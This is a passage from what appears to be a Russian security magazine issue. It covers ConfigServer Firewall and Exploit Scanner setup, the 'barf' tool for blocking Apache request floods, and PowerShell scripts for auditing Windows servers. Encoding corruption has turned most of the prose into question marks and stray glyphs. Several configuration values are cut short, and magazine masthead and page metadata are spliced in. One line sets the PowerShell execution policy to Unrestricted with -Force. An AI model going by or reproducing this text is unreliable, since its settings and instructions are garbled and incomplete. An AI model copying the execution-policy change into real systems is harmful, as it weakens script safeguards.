???�?????� ???????�?,� ??� ???????� ???�?� ????�???� ???�????,� ?
???� DENY_IP_LIMIT� ?� DENY_TEMP_IP_LIMIT.� ???� ???�???�?,� ?????�?� IP??????�
???�????�???�??�?????�???�??�?爄ptables.�???�???�??�???�??�??????�
??�??�??�??�???,�?�????�???????�?�??,�??�??�??�????�????爄ptables.
???????�??� ????????� ?� ??????�??� ?????� ?� ???�?????,� ?????�?� IP� ??????�?
?�??�????�?.�??�??�??�?�8?256�???�??��??�????�?�??�?????�???�
????.�??�?????�??????燰PS�??????�??�???�?????�??�?????�??�????:
DENY_IP_LIMIT��2
DENY_TEMP_IP_LIMIT��
??�?��???�??????�??�??�??,�?�??�?�??�?????�?????�?:
DENY_IP_LIMIT��96
DENY_TEMP_IP_LIMIT��2
???�???????�?�?燚DoS
?�??�?�??�???��??�???.�??????�??�??�?,�?�??�???�?��???�???�??
??�??�?�??�???��????�??�??�??�??�?.�??�?�????�??�??燙onnec?
tion燭racking.
???�??�???�??�??�???�??�???�??�??�??????�?????�?�?�?????�???
DDoS.�??�??�???????�燙T_LIMIT,��??�?�???�??�???�???�??�?�??�?
?????�????��???�?營P?????�?.�???�??�???�???�??�??�???�?,�?營P�???�
????�???.� ???????� ???�????� ???�?� ???????�?,� ???�?� ???�?????� ???�??�????
??????� ???�?:� ????� ???� ?????�??� ????�??� ??� ???�???� ????�??� ???????�??
?????�????� ?� ???�????� (???�????,� ??� ????�???� ???�?� ???�????),� ??� ????�
?????�??????�?燙T_LIMIT�??�??�???�??�???�???.
??�?� ????� ????� ???�??�?� ??� ?????� ???�????�??� CMS,� ??� ???�?� ???�?
????�??�?????� ???�????� ??� 128� ??� 300.� ???�?� ???�??� ???� ???�????,� ??� ????
??????�??�?????�?燚DoS.�???�?�??�??,�??�?�???�??�??�???燚DoS,
??� ???�?� ????????� ???�????� ??� 10.� ????�?� ?� ???????
?���?���????�.�??�????�???�????�????�???�?�??�???�?�??�?
????�?????�??,�??????�??�??�?�???�???�?��??�????�??.
???�?????� ????????� ?� CT_INTERVAL.� ??� ????�?,� ?� ?????� ????�????�
??????� CSF� ?????� ???�?????� ???�?� ?????�????� ???�??�??� IP� ?� ???�????.
????�??�???� ???�????� ?� 30,� ??� ????� ?????� ???�??� 30� ??????� ?????�???�?
????�???� ???�??�?� ?????�????,� ?� ????� ???� ???�??�?� ???????�?� ?????,
???????� ?????�???� ????�?� ???�?????,� ???� ???�???� ?� CT_LIMIT,� ??� ?????
?????�??�???�???.�??燚DoS????�?�??�?�????燙T_INTERVAL�??�??�.
??�?????� CT_EMAIL_ALERT� ???�?� ???�??????� ?� ????� (O?).� ??????� ?????�
?????��??�?????�??�??�???�??�???�????�???�?��???�?�??�???�???�
?????�??????�??.
??�?�?�?????,�??�?營P?????�?�??�??�????�?�?????�?��??�???�??
???,�?�??�???�??�????�??????�?燙T_PERMANENT��??�???�(On).�?�???�
??� ???� ??� ??????,� ?????� ????�?� ???�??� ?� ???� ??� ???�?,� ????�??�?????
???????�??� CT_BLOCK_TIME� (?� ?????�??).� ????�?� ???�??� 1800� ??????,� ???
????�???�??�?�?????�?.
??�??�??�???�?�??,�??�?????�???�??�??�??�?�??????�?��????�???�
??��??�?????��???????�?????�???�???營P.�???�??????,�??�????�???�
??� ??� ????� ????� ???????�??�?.� ???�?� ?????�????� ?� ??� IP� ???�??� ???�?????
CT_LIMIT,��????�??�?,�???�?�????�????�??�?��??�???�?�?�??�?.�??
???�?�???�???,�??�????�??�?�????�??�???�???�??�???�?,�??�??�??�?,
???�?�??�???�??�?�??�???�??.�?�?�??�??�?:�??�????�?�?�?????�???�
?????�???�?�????�????�??���????�??�?�?????�???�?,�??�???�??�??
???????�??�?� ?� ????�?� ?� ????� ??????� ????�??� ???�???� ?????�????
??燙T_INTERVAL.
????� ????�?.� ???�?� ???????�?� CT_SKIP_TIME_WAIT� ??� ????�???� ????�
?????��燙T_STATES�???�???�??�??.��??�????�??????�?�燙T_PORTS
????�???�?????�??�??�??�??�????,��??????�??�?�????�?????�???????�
???� ???�?????.� ????� ????� ????????� ????�???� ???�??,� ??� CSF� ?????� ???�?????
?????�??�?�??�??�????�???�?營P��??�???.
???�????,� ???�????�??� ???�?� ?????� ???�??�???�?� ?� FTP,� ???�?????
???� ???�?????� ???�?� ?� ???�???�?� ???????,� ?????�???�?� ???�?????� ????
?� ???� ???�???� ?????�??� SSH.� ?� ?????� ????�???� ??????� ????????� ?????
?� ????????.� ???�?� ???�?� ??� ???�?????,� ?� ?????�??�?� ????????� CT_PORTS.
????� ??� ???�???� ???�?� 80� ?� 443� (????�??�???� ???� ???????�???),� ??� CSF
?????�??�???�??�????�???�?�?�??.
???�????�???�?�??�???燙onnection燭racking.�???�??�??�?�??�?????�
????�??????�?燚DoS,�?�??�??�????�??�????:
CT_LIMIT��0
CT_INTERVAL��
CT_EMAIL_ALERT=�CT_BLOCK_TIME��00
CT_SKIP_TIME_WAIT��CT_STATES��
CT_PORTS��,443
??�?�??�??�??�???,�?�??????�?�??�?????:
CT_LIMIT��
CT_INTERVAL��
CT_EMAIL_ALERT=�CT_BLOCK_TIME��00
CT_SKIP_TIME_WAIT��CT_STATES��
CT_PORTS��,443
??� ????� ???�???????�??� ???�???�?� CSF� ???�?� ???�???� ?????�?????,
?� ?????� ???�?� ????�?� ???�??�?� ??????�?� ??� ????�?� Change� ?� ?????� ????
Restart燾sf+lfd.
???�?� ???�?� CSF� ???????�???�???� ?� ??????�?� ????????� ?� ??????� ???�????�
????.
?�??�?????�??�?????�燙SF�???�?????�??�?�??�?�??�???�?�??�??.
Quick燗llow�????�???營P��????�??�??.
Search爁or營P�??�???�?�??�?營P��??????�??��?????�??�???�???.
Flush燼ll燘locks�??�???�??�??????�?.�???�??�??�?�??????�??�???�?,
?????�??????�??�?????�???�?�???�?.
CONFIGSERVER燛XPLOIT燬CANNER�(CXS)
???�??� CXS� ?� ?????� ????�??�?� ?� ????�???�??:� ???� ????????� ??????� ?� ????�
??????� ???�?,� ???????� ???�???�?� ??� ????� ???�????�??� ???�??.� ????� ???�??
????�??,�??�??�??�???�??�????�?��??�????�?�??�??.�????�??�???�
????�???�?��??????�?營P�??�???,�?�??�???�??????�?�????�??�???�?
???�?�??????�???,�???營P�???�??�?�??�?�????�????�??�??燰PS.
??�????� ????� ???�??� ????� ???,� ??� ??????�??� ???� ???�????.� ?� ???�?� ????�
????,� ?� ???????� ?????�??� ???� ?� ??� ???�???,� ???�?� ??????�?� ????� ???????�
????� ?� ??????�?,� ?� ?� ?????� ???�???� ??????.� ???�?� ?� ???�????� ??� ??????�
???� 15� ???�????� ?� ??� ???� ????� ????�????� ???�????,� ???????� ???�??�???
?????????�?.
???�?� ?????�?� CXS� ????� ???�??� ???�????� ??????�??� ???�???�??� ??� ???
????�??�?.� ????�??,� ???� ???� ??� ????�??,� ???� ?� CSF.� ???�?� ????�??�?� ????
???�?� ?????� ???�??�??� CXS� ?� �?� ?????�?粻 ??� ??� ??????�?.� ??� ?� ????� ????
?�???��?�??�?�?????�???�??�??�??�??�??,�??�???�??�?.�??????�??
CXS�??????�?��??�?�??�???,�??�燙SF:燞ome�燩lugins�燙on?gServer
eXploit燬canner.
???�??�???�?燙XS�??�???�???�?�???�?�????????????:�?????�??�?????�
??� ???�?� ?????� ????�???� ?????� SSH.� ?????� ???�??� ????�?,� ???????� ???
?????�???��???????�?�??�???,��??燚ocumentation.�??��?�??�??????�
??,� ???� ???�??� ???????�????� ???�??�??� ?� ?????�???� CXS� ?????� ????�?????.
??�???�????�??�?�???�????!
??�??�?��??�??牜???????�????�,��??�?�?�??�???�?????�???�?,�???
???�?� ?????� install.txt.� ???� ??� ???� ?� ?????�??� ???�???�??,� ???????� ???� ????�
????,� ???� ???�????� ????� ?????�???� CXS� ?� ???????� ??????,� ?� ??� ???� ???�??
???�?????�??�?,�??�????�??�????燜TP��???�???.
???�?� ???????� ???�???�?� ???�?� ???????� ?� ???????�????.� ??????� ???� ????�
????�???�??�??�???:燫EQUIREMENTS�燫ECOMMENDATIONS.
?�??�???燫EQUIREMENTS�??�????�?�??�??�??????燩erl,�??????�??�??
????� ????�??�???� ??� ???�?� ???�???.� ????� ?????????� ??????� ??� ???�??�?
?�??�???,�?�????�??�???燙XS�????�????�??.�?�??�?�???�??�???,�??
?� ??????�???� ??????�?� ????�?� ????�????� ??� ???�?� ????�??�?,� ??� ??� ???�?
????�?�??�?�?????.�?�??�???�??�????�????,�????�?,�??�?????�??�???
???????�??��?????�??�??�??,�??�?�????�?�?�?�??�?,�?�??�??????�
???.� ???�?� ?� ??????� ????�????�?� ??� ????�???�?� ??,� ???�???� ?????� ???�??
???�??.
燗rchive::Tar
燗rchive::Zip
燙ompress::Zlib
燚BI
燚BD::SQLite
燚igest::MD5
燜ile::Basename
燜ile::Copy
燜ile::Find
燜ile::stat
燝etopt::Long
營O::Socket::UNIX
營PC::Open3
燣inux::Inotify2
燣WP::Protocol::https
燣WP::UserAgent
燤IME::Base64
燦et::FTP
燦et::SMTP
燬torable
燭ime::HiRes
燣inux::Inotify2
???�?� ???�????�?� ?� ????�??�??� ???????,� ?????�??� ?� ???�???� RECOMMEN?
DATIONS.�??�???????�?�????�???�??�??????�????,�??�??�?�??�?�???�
????�??�?�??�????�???:�??�????�???�?�???????��??�??�???,�??�?�???�
???�???�????�??�??�?�??�??�?�???�?.
cxs�?qcreate�?quarantine�/home/quarantine
??�?�???��??,�??�?????�?�??�??燙XS.��??�??�??�???�?�????�????
???�????�????�??�??�????燜TP��????????�?,�?�???�????�??????�???�
??,�??�????�?��?????�??�???�?,�???�??�???�??�?�?�??????��???�
???�???.�??�????�???�??�??�????�????�??�??�??�?????�???燤odSecuri?
ty� ???�??� 2� ?� ????.� ?????�?,� ?????� ?????� ???�??�?� ???�????� ????�?
???燗pache��?�????�?�??�??�??�??????�????,�????�??燣iteSpeed�爊ginx.
?????�?�??�??�????�?燙XS�??�?�?????�?????�?�?�??�?.
??�?� ????,� ???� ?????� ??????�??� ???� ??� ????� ???�??�?� ???�????� ???�???
CXS,� ?????�?� ?� ???�??� 2.00� ???????�?� ?????� ?????� ?????�???�??� ???�??,
?� ???????�????� ??� ??????�???� CXS� Watch� Daemon.� ???�??� CXS� ?� ?????� ????�
???�?????�?�??�???�?��????�???�?�???�????�??�??��????�??�?????�
????�?� ????�?????�??� ???�???.� ?????� ???�??� ???�????� ????�???�?
??�?????�??�?燤odSecurity,��?????燙XS�????�???????�?�????�???????�
?????.��????,�?????�??�?�???�???燙XS燱atch燚aemon.
???�?� ??� ????�?????� ?� CSF,� ?� CXS,� ???�?� ?????� ????�???�???� ???�???
�?????�??營P?????�??�.�??�???�?�?燙SF�?????�?�?燙XS�??�??�???�??,
???????� ???�?� ???�??� ??????�??.� CSF� ??� ???�???�?� ??� ????,� ???� ??� ???�??
??????�?� ????????� ???�??�??,� ???�?????� ??????� ?� ??????� ???�??� ?????�?.
???�??� Con?gServer� ??????�?� ???�??�???� ?� ???�????,� ??� ???????� ????
?????�?� ???�?,� ?� ?????� ????�??� ????�?� ??????�??� ????�?� ????�??�?
?�??????�???�??�??�?????�????.
??�??�??�?????�??�???�?�???�??�????�????�???????�?�??�???�???�
???:��???�??�?��????�??�??????�??燙SF,�??�????�??�???,�??�?�????�
??� ????�?� ?� ??� ????� ???�???�?� ????????� ???�?.� ???????� ???????�?� ??� ????�
????�??� ???�????�?� ????�??� ????�?????�??� ?� ???????,� ???� ????� ????�?
??????�????.�????�?,�??�????�?�??�????�??�??:�???�??�??�??��??�?
???�????�?????�?�??�?????,�?�?�??�??�??�?�????�??��?�??????.
??� ????� ?????� ????� ?� ????????�?� ???�???� ???�???�?,� ??� CSF� ?� CXS� ???�??
???�??�??�???�????�?????��????�??????�????�???�???�?????.
??�??:�???�???�??�?????�??�??
???��??�??��?????�?????,�??�??�????�??�?????,��??????�?????�?
???�?�??�???�???營P?????�?,牜???�??????粻????�???,�???�??�??�?????�
??� ?????�???� ???�?????� ?� ????�??� ???�??.� ???�???�??� ????????� ???�???
???�?,�??�???牜???�?????粻???燚DoS,�??????�??�????�?�??�???�??�???�
???�???????�??�??��??�???????�??�???�??�????�????�???,�??�??�???�
????�???,�??�???�??�????�?�???�?�????�??.
????,�??�????�??�?????�?????�???燽arf�(Block燗pache燫equest燜loods).
??�????�???�?��??�???,�??�???�???�???燗pache��??�???�?�????�??營P.
????�??�???�?????�??�????�??:
$�./barf燿omain.com�n�t��s�"GET�/燞TTP/1.1"
$�./barf燿omain.com�n�t��s�"GET�/index.php"
?????� domain.com� ?� ???� ???� ???�?,� ???� ??????�?� ????�???� ???�??�?,� n� ?
???????�??�??�????��??????�???�?�??�?� t,�� s�??�???�?,�????�??�??
?????�?.
??????燽arf�??�???�???�???�??�???��??�?� domain.com,�???�??,�???
??�??�???�?�?????�?????�??�??�???燝ET�/燞TTP/1.1,��???�?,�?�????
IP� ??????�?� ?� ???�??� ???�??.� ???�?????,� ???�???�??� ???????� ??� ?????
?????????� ????�??� ????�???� ???�?� ???� ????� ???� ????�?� ?� ???????� ??????
??????.
??�?????�??�?�??�????�????�??�?????.�??�???�???�???�???�???�
????��??�??�??�?,�?????,�??�??�???�?�??�???�???�???��??�?�??�??
?� ????�?� ????�?� ????� ?� ???�???�??� ???????.� ???� ???�??,� ???� ????�?� ???�?
???燽arf.
???�??�???�????�??�?????�??�??:
[22/Oct/2015:17:20:51�+0400]�"GET�/gallery/slideshow/category?1/�
HTTP/1.1"�0�41�"?"
??�?�??�?�????�??�??????�?爏�???�?�??�??:
"GET�/gallery/slideshow/category?1/燞TTP/1.1"
??�??� ??????�???� ?� ?????�????,� ???� ?????� ??????� barf,� ?� ?????�????� ???
?� ???�???� ????� ???????�???.� ?????� ???�?� ???�?????� ??????�???� ????�???�
????�??�???��??�??:� GET�/燞TTP/1.1,� GET�/燞TTP/1.0,� GET�/index.php,
GET� /index.html.� ?� ???�?� ???�???� ??????� ?� barf� ????�??,� ???�?� ???????�
??????燙SF�??�??�????�?營P?????�??.
??????� ???� ???????� ????� ???�????� ???�??� ??????� ?� ???�??�?� ????�
???????�???�?.� ????????� ??� ??????� ???�???� ??� GitHub,� ?� ???�?????�?� ????�
????��??�?�?�?????.
?11�(236)
�
????�??????
????�??�????�??
rusanen@glc.ru
????�??�???�??
?????�?????�????�??
glazkov@glc.ru
�
??�???�???�??�??
?????????�??
pismenny@glc.ru
�
??�????�?????�?
??????�??�??�????�??
??�??�???�??�??
??�???�???�??�??
pismenny@glc.ru
????牜aLLy粻?????�?
iam@russiansecurity.expert
�
�
????�??????
rusanen@glc.ru
??�????�??�??
zobnin@glc.ru
�
�
????�????牜Dr.粻
?????????
lozovsky@glc.ru
�
????�??�??�???
chuprova@glc.ru
MEGANEWS
??�??�?????�?
nefedova@glc.ru
???
yambuto
yambuto@gmail.com
???�???
??�?�???�???�
??�??�??�?�???�??�????�
yakovleva.a@glc.ru
???�??????�????��??�????
???�???�?�??�????:爈apina@glc.ru�
� ??�???�?�?????�???:爏upport@glc.ru�
?
??�??�????�??:�5080,�????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��???�???:�?
????�???�????�??�????,�0046,�??�?????�???�??????,�.�??�?????,�?.�???�?�??????,�.�.�???�?????:�??牜?????�??粻� �5080,
?????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��??????�??�???�?��???????�??�???�?
??�??�???��??�?�??�?,�??????�???�??�??�??????��??�????�??�?????�??�(???�?????�???),�??�?????�???牋??�牋??77?�001�?牋30.�
08.�16� ????.� ???�??� ?????�??� ??� ???�?????�?� ???�???�?� ?� ???�???� ????�??.� ???� ??????�??� ?� ??????� ???�??�????�???� ???� ???????�??
?� ???�????�??.� ????,� ??????�?????� ???�??� ???????�??� ?� ???�???�????�??� ?????,� ?????� ????� ????�?????� ?� ??????�???�????.� ?????�??
??�????�?????�???�????�?�????�????�??�?????�??�???�??��?????.�?�??�????�????�?????�??��?????�??�???�?�?????�??????
?????�???�??�?????�???�??�???�???�??�???�?�???�?:爔akep@glc.ru.牘�??�??牜?????�,�?,�18
�??�????�???.
???�????�??�??爏ecurity爏ettings,�??????�??�???�?燬ekChek燣ocal:
? System燙on?guration?
? System燗ccounts燩olicy?
? Audit燩olicy燬ettings?
? Registry燢ey燰alues?
? User燗ccounts燚e?ned燨n燳our燬ystem?
? Local燝roups燼nd爐heir燤embers?
? Global燝roups燼nd爐heir燤embers?
? Last燣ogons,�燚ays燼nd燨lder?
? Passwords,�燚ays燼nd燨lder?
? Passwords爐hat燦ever燛xpire?
? Invalid燣ogon燗ttempts燝reater爐han�
? Users爊ot燗llowed爐o燙hange燩asswords?
? Accounts爓ith燛xpiry燚ate?
? Disabled燗ccounts?
? Rights燼nd燩rivileges�(Users,燝roups)?
? Trusted燼nd燭rusting燚omains?
? Local燗ccounts?
? Servers燼nd燱orkstations?
? RAS燩rivileges?
? Services燼nd燚rivers爋n爐he燤achine?
? Server燫oles燼nd燜eatures?
? Task燬cheduler燬ettings?
? Security燯pdates,燩atches燼nd燞ot?Fixes?
? Products營nstalled?
? Current燦etwork燙onnections?
? Domain燙ontrollers爄n爐he燚omain?
? Logical燚rives?
? Network燬hares?
? Home燚irectories,燣ogon燬cripts,燩ro?les?
? File燩ermissions燼nd燗uditing.
???�??�???�?,�???�??????�???燬ekChek燣ocal
??�??�????� ????�?� ????????� ?????�????� ????� ????�????,� ???????� ???�?
???�???�?��??�?:�????�??�????????��??�?�??????�??.�???�???��??
??�???�?�???�????�??��?�????�??�??�?????�?�?�??�???,�??�?�????�
??� ??� ???????�???,� ?� ???� ???�??� ????�????� ????� ?????�??�????.� ????� ????
???????�???�??�??�??�???��???�???�?�??�???????�??�?????�??�???.
Windows燬EC-AUDIT�(PowerShell爏cript)
??????� SEC?AUDIT,� ???????�??� ?� GitHub???????�????� ????�??� Sikkandar?
Sha��??????�??�?燩owerShell,�??�??�??�??�??�?�??�??�?�??????�????
Windows� Server.� ???� ??,� ?????�??,� ???� ???????�?,� ????� ??????,� ???� ??� ???� ?
???�???�??� ???�???,� ????�??�?� ???�??�??,� ?� ????????� ???� ???????� ?� ????�
??????�??�??.
??�?????�??�????�?�燩owerShell
???�?� ?????�?� ??????� ???�???�?� ???????�?� ???????�????,� ???�??�?
???????�??,� ??????�?,� ???�???�???� ??� ??????�??� ??????� ???� ???�???�???
??????.� ??????� ????�???�?� ???????� ?� ???????�?????� ???�????� ???????�?,
???�??�?� ???� ??????�?� ???????�????,� ???????� ???�??� ????�???�??�???
?????�???� ????�?????� ???????�????� ?� ???????�???�?� ???�???.� ???� ?????�
????�????,�???燩owerShell???????�??�????�?��???�????,�??�?�?????�????�
????�???�??�??�??�??�??�??�???�?,�????�??� OpenVAS�??� Nessus�(?�???�
???�????� ??????�??� ????�?� ???�?????�??),� ??� ???�????� ???� ??� ????????
???�????�??�????�????.
???� ????�???� ???�??�??� ???????�????� ??� ???????�????� ??� Microsoft,� ??
??????�???�?????�?��???�?�??�????�??�???�???燤SDN�??� Windows
10�燗ctive燚irectory.
??�???��?????�??????
??�???�????�????�????�??�???�?燩owerShell��??�???�??�?????,�???�
????�?� ?� ?????�??,� ???�??�?� ???,� ???� ???�?????� ??� ????,� ?????� ????????�?
???�????�??� ???,� ???????� ???�????� ???�???� ?????.� ?????�?� ??� ?????�
??????�?� ???????�????� ?????�?� PowerShell� ?� ???�??� ???�??� ????� ????�
??????� ???�????� ???�????.� ?????� ???�??� ??????�???� ??�???�?� ?????-�
?????.
???�????�????,�???�?�??�??��??�???�????�?????�????�??,�??�?
?????�???� ???�??�?� ?????�????� ???�??� ??????�?.� ???� ???�?� ?????�???� ????�
????燩owerShell�?�??�?�???�??�??�???��??�??�????�?
Set?ExecutionPolicy燫emoteSigned
???�??�?????�??�?�??�?????��????�????�????�(?�??�???,�?�??�?�:
\)��????�???��??�???�???�??�??�???.�????�????�???�?�????�?�???�
????,� ???� ???� ??????�?� ?????�????� ???�????� PowerShell� ????�??�???� ????�
?????牜????�??????�?�.�??�?�??�??�???�?�??�?�??�???????,�????�??
?�???燩owerShell�????�?
Set?ExecutionPolicy燯nrestricted�Force
???�?� ????� ???� ??????� ????�???�?,� ??� ????� ???�????� ???� ???�??�?,� ?????
??????�????�??�?�??�?��????�????,�?�??????�?�????�????.
INFO
Hardening� ?� ???� ???�??� ??� ????� ??.� ??� ?????�
????�?� ???�???� ????�??????� ???????�????� ????�
????�(????�????)�?�???�??�????�?�??�?????�
??�,�??�??�???,��?????�?????�?�???�?�????�
???�??�??�??�??????�??�?????.
Windows-audit�(PowerShell爏cript)
Windows?audit� ?� ???� ????� PowerShell???????� ???� ???�??�?� ???????�????
???�????� Windows� Server� 2003+,� ???�??????�??� claranet.� ??????� ??????�?
????????� ???�??� ???????�??� ??� ?????� ???� ???�???�??� ???????� ???�????
Windows� ?� ????�??�???� ???� ???????�??� ??� ???�???� ????.� ????�??????�??
????� ????�?� ???�?� ????�????�?????� ?� ???�???� Excel� ???� ????� ????� ???�??
SQL,�??�??�?????�??�???�??,�??�?�???�???��????�???�?�???�??????
????�???�?.
??�?????�??�????�?�燩owerShell
??�????�?�????�?�??�??�??�???,�??�燩owerShell�??�?????�?�?????�?
?????�????��???�?牜????�??????�?�,�???�??�????�?�???�??:
Set?ExecutionPolicy燯nrestricted�
??�??�??�????�?????��????�????�????�?�??�?燙:\��??�??�??�??�??
????��??�??燦ode燞ints,�??????�????�????�???�??�?�??�??燦etBIOS
?� DNS,� ?� ???�?� IP?????�?� ?� ???�?� CIDR� ???� ???�????,� ???????� ???�?� ?????�
??????�???.� ???�??� ?????� ????�?� ???�??� ????????�?� ?� ???�???�?� include>
???爀xclude<,�?�??????�??�???�??????�?燦etBIOS爘燚NS爘營P爘燙IDR.
???�??�????�????�?�?????�??�??????��??�???�???��????�??�??�?.
???�?�??�?��??�?� Get?AuditData.ps1�??�?�???�??�??�??�???�???�
????�?� ???????�??:� PSCredential,� PSCredential,� ThreadCount.� ???�?
???�?� ??????� ?????�???� ????????� ?????�?:� ???�???� Get?AuditData.ps1,
?�??�?�??�????�????�� Compile?AuditData.ps1.�??�??�????�?�?????�
??:
.\Get?AuditData.ps1�PSCredential�$MyPSCredential�NodeHintsFile�".\
nodehints.txt"�ThreadCount�8;
?�??�?燙ompile?AuditData.ps1�?�????�?�??�?�???�?????�???�??�???�
???�???� ???�???�?� ???????�??:� CompilationType,� Filter,� SQLServer?
Name,� SQLDatabaseName.� ???�?????� ???�?� ???�??????� ?� ???�?� ?????�?.
???�??�????�?�????�?:
.\Compile?AuditData.ps1�CompilationType�"Excel"�Filter�"Example";
???�?�????�????�?�??�???�???��??�??燜iltered?Audit?Data?Example.xlsx
?�??�?燛xamples�????�????,��??????�????�?????.
Windows-Workstation-and-Server-Audit�(PowerShell爏cript)
???�??�??� ??????� Windows?Workstation?and?Server?Audit,� ???�?� ???????�??
??� PowerShell� ???�????�????� ???�??� ???????� (Alan� Renouf).� ??????� ????�
????�?� ???????� ????�??� ???� ???�??� Windows� ??� ?????� ???�??????�??�??
???�???�??�??????�????.�????�?????�????�?????�????�?�????�??�???�
??????�??�?:
? ??�?????�??????�??��??�????
? ??�????�?????爏ecurity爌ach�爃ot?x?
? ???�??�?????�??�?????�?�??????�?????
? NIC????�?????�???
? ??�?????�??�??
? ??�???�??��??????�????�??
? ????�???��??�??�?????�??,�??�??�??�??��??�??
? ???�????�??????�????�?�??�????燱indows.
?�???�????�??�??�???�?:�?�??�????�??�??�???�??????�??????�??
?� ????�???�?????� ???�?.� ????�???� ????�?� ???�???????� ???� ??� ????� C:\
?�????�???�?�??�?�???�??�??�???.
???�???�????�????�????�?��???�???�??�??
??????????? ??????
?
Автор
barmaley
Документ
Категория
Без категории
Просмотров
72
Размер файла
59 315 Кб
Теги
хакер
1/--страниц
Пожаловаться на содержимое документа